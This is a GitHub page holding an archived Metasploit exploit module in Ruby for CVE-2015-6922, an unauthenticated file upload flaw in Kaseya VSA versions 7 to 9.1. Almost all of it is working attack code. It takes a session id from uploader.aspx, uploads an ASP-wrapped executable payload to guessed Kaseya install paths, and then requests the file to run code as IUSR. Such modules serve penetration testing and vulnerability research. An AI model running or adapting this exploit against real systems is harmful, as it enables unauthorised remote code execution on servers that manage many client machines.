-
Notifications
You must be signed in to change notification settings - Fork 167
/
kaseya_uploader.rb
128 lines (113 loc) · 3.8 KB
/
kaseya_uploader.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between
7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory
leading to arbitrary code execution with IUSR privileges. This module has been tested with
Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-449'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya VSA v7 to v9.1', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2015'))
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Unknown
end
end
def upload_file(payload, path, filename, sessionId)
print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...")
res = send_request_cgi({
"method" => "POST",
'uri' => normalize_uri('ConfigTab','uploader.aspx'),
"vars_get" => {
"PathData" => path + 'WebPages' + '\\',
"qqfile" => filename
},
"data" => payload,
"ctype" => "application/octet-stream",
"cookie" => "sessionId=" + sessionId
})
if res and res.code == 200 and res.body.to_s =~ /"success": "true"/
return true
else
return false
end
end
def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
sessionId = $1
asp_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
paths = [
# We have to guess the path, so just try the most common directories
'C:\\Kaseya\\',
'C:\\Program Files\\Kaseya\\',
'C:\\Program Files (x86)\\Kaseya\\',
'D:\\Kaseya\\',
'D:\\Program Files\\Kaseya\\',
'D:\\Program Files (x86)\\Kaseya\\',
'E:\\Kaseya\\',
'E:\\Program Files\\Kaseya\\',
'E:\\Program Files (x86)\\Kaseya\\',
]
for path in paths
if upload_file(payload, path, asp_name, sessionId)
register_files_for_cleanup(path + "WebPages\\" + asp_name)
print_status("#{peer} - Executing payload #{asp_name}")
res = send_request_cgi({
'uri' => normalize_uri(asp_name),
'method' => 'GET'
})
handler
break
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
end
end
end